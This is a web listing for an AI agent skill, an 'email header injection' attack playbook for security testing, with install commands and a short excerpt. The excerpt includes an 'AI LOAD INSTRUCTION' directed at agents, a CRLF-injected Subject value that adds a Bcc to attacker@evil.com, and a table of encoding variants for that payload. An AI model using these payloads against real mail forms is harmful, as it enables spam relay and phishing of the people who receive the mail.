Skills for Real Engineers. Straight from my .agents directory.
email-header-injection
Agent skill fromyaklang/hack-skills
Email header injection and spoofing playbook. Use when testing contact forms, email APIs, password reset flows, or any feature that constructs SMTP messages with user-controlled fields. Covers CRLF injection in headers, SPF/DKIM/DMARC bypass, and phishing amplification.
How to install email-header-injection
npx skills add yaklang/hack-skills# or add only this skill to Claude Code: copy the folder
skills/email-header-injection/
# into
~/.claude/skills/email-header-injection/ (all projects)
.claude/skills/email-header-injection/ (one project)
1# SKILL: Email Header Injection — Expert Attack Playbook23> **AI LOAD INSTRUCTION**: Expert email header injection and authentication bypass. Covers SMTP CRLF injection, SPF/DKIM/DMARC circumvention, display name spoofing, and mail client rendering abuse. Base models miss the nuance between header injection (technical) and email auth bypass (protocol-level) — this skill covers both attack surfaces.45## 0. RELATED ROUTING67- [crlf-injection](../crlf-injection/SKILL.md) — general CRLF injection; email headers are a specific high-value sink8- [ssrf-server-side-request-forgery](../ssrf-server-side-request-forgery/SKILL.md) — when SMTP server is reachable via SSRF (gopher://smtp)9- [open-redirect](../open-redirect/SKILL.md) — redirect in password-reset emails as phishing amplification1011---1213## 1. SMTP HEADER INJECTION FUNDAMENTALS1415SMTP headers are separated by CRLF (`\r\n`). If user input is placed into email headers without sanitization, injecting `%0d%0a` (or `\r\n`) adds arbitrary headers.1617### Injection anatomy1819```20Normal header construction:21 To: user@example.com\r\n22 Subject: Contact Form\r\n23 From: noreply@target.com\r\n2425Injected (via Subject field):26 Subject: Hello%0d%0aBcc: attacker@evil.com\r\n2728Result:29 Subject: Hello\r\n30 Bcc: attacker@evil.com\r\n31```3233### Encoding variants to try3435| Encoding | Payload |36|---|---|37| URL-encoded | `%0d%0a` |38| Double URL-encoded | `%250d%250a` |39| Unicode | `\u000d\u000a` |40| Raw CRLF | `\r\n` (in raw request) |41…
Excerpt shown under the repository's MIT license.
More skills in hack-skills
Similar skill repositories
An agentic skills framework & software development methodology that works.
Public repository for Agent Skills
Makes your AI agent think like the laziest senior dev in the room. The best code is the code you never wrote.
An AI skill that provides design intelligence for building professional UI/UX across multiple platforms.
Persistent Context Across Sessions for Every Agent – Captures everything your agent does during sessions, compresses it with AI, and injects relevant context back into future sessions. Works with Claude Code, OpenClaw, Codex, Gemini, Hermes, Copilot, OpenCode + More
